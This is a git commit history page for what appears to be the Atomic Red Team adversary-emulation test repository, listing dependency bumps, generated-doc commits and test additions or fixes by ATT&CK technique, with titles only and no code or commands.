Compare commits

..

4068 Commits

Author SHA1 Message Date
Hare Sudhan 741712ef1d fix attack navigator version 2026-03-23 22:15:22 -04:00
Atomic Red Team doc generator 40a54bf631 Generated docs from job=generate-docs branch=master [ci skip] 2026-03-24 01:58:10 +00:00
alexw07777 2356c60c26 Fix T1003.006 Test #2 prereq_command: incorrect ExportedCommands key (#3297)
Co-authored-by: kali <kali@kali-hp.kali>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Hare Sudhan <27735081+cyberbuff@users.noreply.github.com>
2026-03-23 21:57:11 -04:00
Atomic Red Team doc generator 9afe9e4bbf Generated docs from job=generate-docs branch=master [ci skip] 2026-03-24 01:50:28 +00:00
pyth0n1c 468848cb1e Remove extra field "description" in executor OR update models.py schema (#3298)
Co-authored-by: Hare Sudhan <27735081+cyberbuff@users.noreply.github.com>
2026-03-23 21:49:16 -04:00
Atomic Red Team doc generator 962983c3ac Generated docs from job=generate-docs branch=master [ci skip] 2026-03-18 05:07:16 +00:00
Vladan Sekulic f2268cc35e Enhance T1027/T1027.013 obfuscation tests: character array & password-protected ZIP (#3279)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2026-03-18 10:36:21 +05:30
Atomic Red Team doc generator 7a0e342323 Generated docs from job=generate-docs branch=master [ci skip] 2026-03-13 11:19:52 +00:00
zendannyy 7b3bc23307 New Test for AWS Config (#3278)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2026-03-13 16:48:26 +05:30
dependabot[bot] d754ba322f Bump typer from 0.23.1 to 0.24.1 (#3292)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2026-03-10 09:13:44 -04:00
dependabot[bot] a80f3a7874 Bump actions/upload-artifact from 6 to 7 (#3294)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2026-03-10 09:12:10 -04:00
dependabot[bot] 014ec22bc8 Bump hashicorp/setup-terraform from 3 to 4 (#3295)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-10 09:08:52 -04:00
dependabot[bot] 4009c7d083 Bump typer from 0.21.1 to 0.23.1 (#3283)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2026-02-23 09:56:15 +05:30
philhagen-rc cf61e99289 update slack link (#3288) 2026-02-19 18:43:39 -05:00
Atomic Red Team doc generator 9f6a1eab36 Generated docs from job=generate-docs branch=master [ci skip] 2026-02-18 16:55:45 +00:00
philhagen-rc 0b57340866 Template fix part2 (#3286) 2026-02-18 11:54:46 -05:00
Atomic Red Team doc generator 376bf2a64d Generated docs from job=generate-docs branch=master [ci skip] 2026-02-18 16:46:29 +00:00
philhagen-rc 78bbf833fb second phase of template fix (#3285) 2026-02-18 11:45:22 -05:00
philhagen-rc eee9292a81 Update atomic_doc_template.md.erb (#3281) 2026-02-18 09:50:28 -05:00
Atomic Red Team doc generator e17202c34c Generated docs from job=generate-docs branch=master [ci skip] 2026-02-13 02:45:07 +00:00
kfallahi 02e4420bc0 Update T1003.003.md & T1003.003.yaml via UnderlayCopy (#3217) 2026-02-12 21:44:07 -05:00
Atomic Red Team doc generator de509cf6b3 Generated docs from job=generate-docs branch=master [ci skip] 2026-02-13 02:35:27 +00:00
Brian 7c79132a29 Update T1176.yaml (#3282)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2026-02-12 21:34:28 -05:00
dependabot[bot] ca7ea83e01 Bump hypothesis from 6.148.7 to 6.151.5 (#3280)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-02-12 21:27:24 -05:00
dependabot[bot] d93c5cf8f5 Bump typer from 0.21.0 to 0.21.1 (#3270)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-02-07 05:25:58 -05:00
Atomic Red Team doc generator a1e6fd5454 Generated docs from job=generate-docs branch=master [ci skip] 2026-01-20 03:23:51 +00:00
Wai Linn Oo 7fff22ab93 Enhance T1546.018 (Hooking via Python) with site-packages and venv Isolation (#3274)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2026-01-20 08:52:50 +05:30
dependabot[bot] 2c5a063d34 Bump jsonschema from 4.25.1 to 4.26.0 (#3272)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2026-01-19 11:05:36 +05:30
Atomic Red Team doc generator 4d228c6c24 Generated docs from job=generate-docs branch=master [ci skip] 2026-01-19 05:29:49 +00:00
Vladan Sekulic fbb29b6cac Enhance T1496(Resource Hijacking): Add Windows CPU Load Simulation (#3275) 2026-01-19 10:58:26 +05:30
dependabot[bot] 65e7aa7bf7 Bump urllib3 from 2.6.0 to 2.6.3 (#3268)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-01-09 13:09:52 -05:00
Atomic Red Team doc generator bd1debb014 Generated docs from job=generate-docs branch=master [ci skip] 2026-01-07 16:05:24 +00:00
Wai Linn Oo c14d21f7bd T1546.018 YML file update the code for Linux Test (#3266) 2026-01-07 21:34:26 +05:30
Atomic Red Team doc generator 04fea5a5fc Generated docs from job=generate-docs branch=master [ci skip] 2026-01-07 12:51:40 +00:00
Wai Linn Oo 9ee4c5c6a6 T1546.018 - Event Triggered Execution: Python Startup Hooks (#3265)
Co-authored-by: Wai Linn Oo <wai.lo@Wais-MacBook-Pro.local>
2026-01-07 18:20:41 +05:30
Atomic Red Team doc generator b5b2cd986b Generated docs from job=generate-docs branch=master [ci skip] 2026-01-07 07:31:13 +00:00
cyb3rjy0t 256876632c Update T1490 to include Diskshadow.exe test (#3253)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-01-07 13:00:15 +05:30
Vladan Sekulic 1c4e47d467 Update T1003.007 dump_heap.py: refactor FreeBSD heap memory dumping logic (#3231)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2026-01-06 17:20:04 +05:30
Atomic Red Team doc generator 64b1d2667b Generated docs from job=generate-docs branch=master [ci skip] 2026-01-06 11:47:41 +00:00
Vladan Sekulic a5d2c7f122 Update T1113 to add a RDP Bitmap Cache Extraction test (#3256)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2026-01-06 17:16:38 +05:30
dependabot[bot] f4a93ac212 Bump typer from 0.20.0 to 0.21.0 (#3261)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-01-06 17:12:08 +05:30
dependabot[bot] 712d69c359 Bump actions/upload-artifact from 5 to 6 (#3257) 2025-12-18 03:10:27 -05:00
dependabot[bot] c173f44a0c Bump urllib3 from 2.5.0 to 2.6.0 (#3251)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-12-13 00:26:25 -05:00
Atomic Red Team doc generator 70e8efd512 Generated docs from job=generate-docs branch=master [ci skip] 2025-12-13 04:55:41 +00:00
Vladan Sekulic 4f16386fc7 Update T1652 to add device driver discovery commands for Linux and macOS (#3252)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-12-12 23:54:48 -05:00
dependabot[bot] c62a9819ad Bump pytest from 9.0.1 to 9.0.2 (#3255)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-12 23:50:11 -05:00
dependabot[bot] 3f2beabd01 Bump pydantic from 2.12.4 to 2.12.5 (#3249)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-12 23:12:52 -05:00
dependabot[bot] 88f5b507d1 Bump hypothesis from 6.148.2 to 6.148.7 (#3254)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-12 23:09:13 -05:00
Atomic Red Team doc generator 0de6af53a1 Generated docs from job=generate-docs branch=master [ci skip] 2025-11-29 04:49:25 +00:00
Vladan Sekulic 79ff2fac43 Update T1007 to enhance service discovery methods across platforms (#3229)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-11-28 23:48:27 -05:00
Atomic Red Team doc generator 7d0948382d Generated docs from job=generate-docs branch=master [ci skip] 2025-11-29 04:39:36 +00:00
hfz e71c0c3b57 Fix formatting issues in T1562.003.md (#3236)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-11-28 23:38:40 -05:00
Atomic Red Team doc generator 6e5582f7a6 Generated docs from job=generate-docs branch=master [ci skip] 2025-11-29 04:34:19 +00:00
Vladan Sekulic 07a88142a7 Update T1049 atomics with process aware and cross platform network discovery (#3237)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-11-28 23:33:21 -05:00
dependabot[bot] 79a3602930 Bump pydantic from 2.12.3 to 2.12.4 (#3226)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-28 21:40:02 -05:00
dependabot[bot] aa4d9e2bec Bump hypothesis from 6.148.1 to 6.148.2 (#3234)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-11-25 21:13:14 -05:00
dependabot[bot] 0c89f6317e Bump actions/checkout from 5 to 6 (#3235)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-25 21:11:41 -05:00
dependabot[bot] 340a7b9e5f Bump hypothesis from 6.147.0 to 6.148.1 (#3230)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-19 17:37:33 -05:00
dependabot[bot] e197ef4b0c Bump pytest from 8.4.2 to 9.0.0 (#3227)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-16 14:01:54 -05:00
dependabot[bot] 9a6f46abbc Bump hypothesis from 6.145.0 to 6.147.0 (#3228)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-16 13:24:31 -05:00
Atomic Red Team doc generator b3dc12d415 Generated docs from job=generate-docs branch=master [ci skip] 2025-11-05 01:55:34 +00:00
Hare Sudhan 5bc874cbb8 ATT&CK v18 changes (#3223)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-11-04 17:54:29 -08:00
dependabot[bot] 71ecccaff2 Bump hypothesis from 6.142.5 to 6.145.0 (#3224)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-03 18:47:44 -05:00
Atomic Red Team doc generator 7bf645a086 Generated docs from job=generate-docs branch=master [ci skip] 2025-11-01 01:45:20 +00:00
PhyoPaingHtun ChiLai d951b5b4ac Update T1083.yaml (#3222)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-31 21:44:18 -04:00
Atomic Red Team doc generator f6ef319334 Generated docs from job=generate-docs branch=master [ci skip] 2025-11-01 01:27:30 +00:00
0xPrashanthSec 5546e590b8 Update T1204.002.yaml (#3206)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-31 21:26:28 -04:00
dependabot[bot] e609b0c535 Bump ruamel-yaml from 0.18.15 to 0.18.16 (#3215)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-31 20:29:28 -04:00
dependabot[bot] f1f5833b37 Bump actions/upload-artifact from 4 to 5 (#3214)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-10-31 20:28:12 -04:00
dependabot[bot] dd526047b8 Bump pydantic from 2.11.10 to 2.12.0 (#3207)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-10-17 18:47:28 -04:00
Atomic Red Team doc generator 47c80ca1e1 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-10 21:43:49 +00:00
0xseiryuu bf100b8920 T1137 Office Application Startup fix (#3202)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-10-10 14:42:55 -07:00
dependabot[bot] f5c4f92ee2 Bump hypothesis from 6.140.2 to 6.140.3 (#3203)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-09 19:54:59 -04:00
Hare Sudhan 9b17e83ebe Fix Issue Template URL (#3201)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-10-06 15:39:15 -07:00
Atomic Red Team doc generator 6c85c88c55 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-06 15:58:23 +00:00
Bhavin Patel 2006f34c95 2 New Atomic - npm installation and At execution (#3199)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-06 11:57:17 -04:00
Atomic Red Team doc generator e2115e52c0 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-06 15:55:53 +00:00
Bhavin Patel 1a197af893 Insecure curl execution from a pod (#3187)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-06 11:54:51 -04:00
Atomic Red Team doc generator 55c553ddd3 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-06 15:40:17 +00:00
Hare Sudhan a3c1d8157d T1553.001: Fix elevation_required (#3200) 2025-10-06 08:39:07 -07:00
dependabot[bot] 90b0b774b9 Bump actions/stale from 9 to 10 (#3178)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-04 14:10:30 -04:00
Atomic Red Team doc generator 149e41f748 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-04 18:08:25 +00:00
Milad Cheraghi b41248c790 kill all processes with Send a SIGTERM (#3173)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-04 14:07:20 -04:00
Atomic Red Team doc generator ee95152c22 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-04 18:02:43 +00:00
ohadm-cynet be0b138294 Update T1491.001.yaml - move dependency_executor_name to test root level (#3189)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-04 14:01:27 -04:00
Atomic Red Team doc generator 0f41fdc8d4 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-04 18:00:06 +00:00
Milad Cheraghi c87eab6a23 disable ASLR protection via sysctl (#3192)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-04 13:59:06 -04:00
dependabot[bot] 0fe201b898 Bump typer from 0.17.3 to 0.19.2 (#3194)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-10-04 13:52:09 -04:00
dependabot[bot] b5c2b8f422 Bump pyyaml from 6.0.2 to 6.0.3 (#3195)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-10-03 22:52:07 -04:00
Atomic Red Team doc generator 812ad23b22 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-02 20:55:47 +00:00
wikijm aecf7ddca9 Update T1562.001.yaml - Adding Atomic Test - Freeze PPL-protected process with EDR-Freeze (#3191)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-10-02 13:54:47 -07:00
Atomic Red Team doc generator 07affd5c64 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-01 19:41:26 +00:00
Casey Hennings eabf4e722d T1546.008 - Atomic Test Proposal (#3183)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-10-01 12:40:19 -07:00
Atomic Red Team doc generator a4bf8b76bd Generated docs from job=generate-docs branch=master [ci skip] 2025-10-01 18:32:44 +00:00
Milad Cheraghi 86a5c2faa0 Identifying Network Shares - Linux (#3197)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-10-01 11:31:44 -07:00
Atomic Red Team doc generator 92bf9b4130 Generated docs from job=generate-docs branch=master [ci skip] 2025-10-01 17:22:43 +00:00
Simon Maréchal 8669f17027 fix(atomics): Fix T1562.008-8 - add region in aws CLI call (#3198) 2025-10-01 10:21:41 -07:00
Atomic Red Team doc generator 1c32e5d6c7 Generated docs from job=generate-docs branch=master [ci skip] 2025-09-26 17:21:23 +00:00
Michael Haag d641158872 Expand MakeCab (#3186) 2025-09-26 13:20:21 -04:00
Atomic Red Team doc generator 35b3e57830 Generated docs from job=generate-docs branch=master [ci skip] 2025-09-19 22:18:40 +00:00
Bakeneko b6508a417b Update T1491.001.yaml (#3184) 2025-09-19 15:17:17 -07:00
dependabot[bot] 005406da76 Bump actions/github-script from 7 to 8 (#3176)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-09-08 13:40:04 -04:00
dependabot[bot] e8b350371d Bump actions/setup-python from 5 to 6 (#3177)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-08 13:37:25 -04:00
Atomic Red Team doc generator c79bb6c63b Generated docs from job=generate-docs branch=master [ci skip] 2025-09-05 10:52:40 +00:00
Hare Sudhan 23d78e9c2c Updating Windows reviewers list (#3165) 2025-09-05 04:51:14 -06:00
dependabot[bot] a0b3572154 Bump typer from 0.16.0 to 0.17.3 (#3175)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-02 12:34:31 -04:00
dependabot[bot] e61360207a Bump jsonschema from 4.25.0 to 4.25.1 (#3168)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-09-02 12:32:06 -04:00
Atomic Red Team doc generator cf673d487f Generated docs from job=generate-docs branch=master [ci skip] 2025-09-02 16:08:20 +00:00
Always in the Cage 2b8c6b4ce4 fix(T1082): define $S3cur3Th1sSh1t_repo for multiple WinPwn tests (14-23) (#3166)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-09-02 12:07:15 -04:00
dependabot[bot] 93de16af70 Bump actions/checkout from 4 to 5 (#3167)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-02 12:03:39 -04:00
Atomic Red Team doc generator f745504cf0 Generated docs from job=generate-docs branch=master [ci skip] 2025-08-24 01:18:38 +00:00
Milad Cheraghi 8f75aa9848 abuse of Linux Magic System Request Key for reboot (#3157)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-08-23 21:17:40 -04:00
Atomic Red Team doc generator 2b81f68a5c Generated docs from job=generate-docs branch=master [ci skip] 2025-08-21 02:55:29 +00:00
Always in the Cage 095f02e89a Fix T1123: Replace deprecated audio module with AudioDeviceCmdlets (#3164)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-08-20 20:54:26 -06:00
Atomic Red Team doc generator ad700ef5ee Generated docs from job=generate-docs branch=master [ci skip] 2025-08-21 02:34:45 +00:00
Furkan Celik 39daa38e2d Added T1036.005 test: Masquerading cmd.exe as VSDetector.exe by Furka… (#3159)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-08-20 20:33:22 -06:00
dependabot[bot] dffd968292 Bump hypothesis from 6.136.8 to 6.137.2 (#3162)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-12 13:55:34 -07:00
Atomic Red Team doc generator 77ef76acf3 Generated docs from job=generate-docs branch=master [ci skip] 2025-08-12 01:06:10 +00:00
Casey Hennings c1705f86e3 Update T1546.008.yaml (#3136)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-08-11 18:05:08 -07:00
Atomic Red Team doc generator b49c4bbf7e Generated docs from job=generate-docs branch=master [ci skip] 2025-08-12 00:55:20 +00:00
itsmeLevan 58ff536735 Update T1560.001.yaml (#3132)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-08-11 17:54:19 -07:00
dependabot[bot] 69425eec3c Bump jsonschema from 4.24.0 to 4.25.0 (#3161)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-04 23:55:33 -04:00
dependabot[bot] fc0c7153d8 Bump hypothesis from 6.135.32 to 6.136.8 (#3160)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-04 23:38:54 -04:00
dependabot[bot] cc187d8777 Bump hypothesis from 6.135.14 to 6.135.29 (#3150)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-07-21 21:11:33 -04:00
Atomic Red Team doc generator b49c2a0d70 Generated docs from job=generate-docs branch=master [ci skip] 2025-07-21 21:29:47 +00:00
koyoresearch b755908468 Add atomic test "Decrypt to file" to T1027.013.yaml (#3152)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-07-21 15:28:46 -06:00
Atomic Red Team doc generator a126a1898a Generated docs from job=generate-docs branch=master [ci skip] 2025-07-18 13:21:31 +00:00
PhyoPaingHtun ChiLai 858a035852 Update T1204.002.yaml (#3151)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-07-18 07:20:35 -06:00
Atomic Red Team doc generator c8acf08cff Generated docs from job=generate-docs branch=master [ci skip] 2025-07-17 23:24:02 +00:00
koyoresearch ab7835d634 Create t1027.013_encoded_file.yaml (#3148)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-07-17 17:23:03 -06:00
Atomic Red Team doc generator 3aaf3364aa Generated docs from job=generate-docs branch=master [ci skip] 2025-07-17 22:30:09 +00:00
Mattis b0b572815d T1055.012 Process Hollowing using PowerShell - Add prerequisite check and installation commands (#3127)
Co-authored-by: Mattis Swannet <mattis.swannet@nynox.eu>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2025-07-17 16:29:13 -06:00
Atomic Red Team doc generator a6ec993396 Generated docs from job=generate-docs branch=master [ci skip] 2025-07-17 16:52:39 +00:00
Retrospected 7d68f07d75 Update T1547.001.yaml (#3147) 2025-07-17 09:51:20 -07:00
Atomic Red Team doc generator b149dc4549 Generated docs from job=generate-docs branch=master [ci skip] 2025-07-09 23:32:12 +00:00
Manuel Kuß c33c235b53 Moved two atomics from T1550.001 to T1528 (#3142)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-07-09 16:30:44 -07:00
Atomic Red Team doc generator 70921eb1bb Generated docs from job=generate-docs branch=master [ci skip] 2025-06-26 18:40:27 +00:00
Manuel Kuß 8bf3f4d377 Moved 'Azure - Scan for Anonymous Access to Azure Storage (Powershell)' from T1530 to T1619 (#3121)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-06-26 11:39:30 -07:00
dependabot[bot] 08b3e7dc9a Bump urllib3 from 2.2.2 to 2.5.0 (#3137)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-06-24 22:20:11 -04:00
dependabot[bot] ea4796381a Bump pytest from 8.4.0 to 8.4.1 (#3140)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-06-24 22:19:14 -04:00
Atomic Red Team doc generator 9f2cd5e9c6 Generated docs from job=generate-docs branch=master [ci skip] 2025-06-24 01:10:01 +00:00
Mattis 3dc4cebb27 T1543.003 Modify Fax Service to run PowerShell - Added input arguments (#3126)
Co-authored-by: Mattis Swannet <mattis.swannet@nynox.eu>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-06-23 18:09:10 -07:00
Atomic Red Team doc generator 9a10dde8f9 Generated docs from job=generate-docs branch=master [ci skip] 2025-06-24 01:06:27 +00:00
Manuel Kuß 0514a575f5 Moved 'Azure - Enumerate Azure Blobs with MicroBurst' from T1530 to T1619 (#3120)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-06-23 18:05:28 -07:00
dependabot[bot] f287a94d23 Bump hypothesis from 6.135.9 to 6.135.14 (#3141)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2025-06-23 17:12:47 -04:00
Atomic Red Team doc generator 097ca22bbe Generated docs from job=generate-docs branch=master [ci skip] 2025-06-23 16:40:01 +00:00
Manuel Kuß 17b5e21dc2 Moved 'Azure - Dump All Azure Key Vaults with Microburst' from T1528 to T1555.006 (#3119)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-06-23 09:39:03 -07:00
Atomic Red Team doc generator f13c658342 Generated docs from job=generate-docs branch=master [ci skip] 2025-06-23 16:16:00 +00:00
Seth Cahalan 88e46831fc 1069.002-3 spelling and syntax corrections (#3110)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2025-06-23 09:15:09 -07:00
dependabot[bot] 1534ede36d Bump pydantic from 2.11.5 to 2.11.7 (#3135)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-18 11:31:32 -04:00
dependabot[bot] 7fa5149925 Bump ruamel-yaml from 0.18.11 to 0.18.14 (#3128)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-15 14:09:35 -04:00
dependabot[bot] dbe18a6574 Bump pytest from 8.3.5 to 8.4.0 (#3129)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-15 14:06:27 -04:00
dependabot[bot] 65cc329c3c Bump hypothesis from 6.133.0 to 6.135.4 (#3130)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-15 14:03:37 -04:00
dependabot[bot] ed6dd8eaff Bump jsonschema from 4.23.0 to 4.24.0 (#3122)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-14 23:40:39 -04:00
dependabot[bot] 2116bf0490 Bump requests from 2.32.3 to 2.32.4 (#3131)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-12 17:21:14 -04:00
dependabot[bot] eec43d0aff Bump typer from 0.15.4 to 0.16.0 (#3124)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-07 11:04:01 -04:00
dependabot[bot] 8e0ccb2620 Bump hypothesis from 6.131.32 to 6.133.0 (#3125)
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-06-04 22:43:58 -04:00
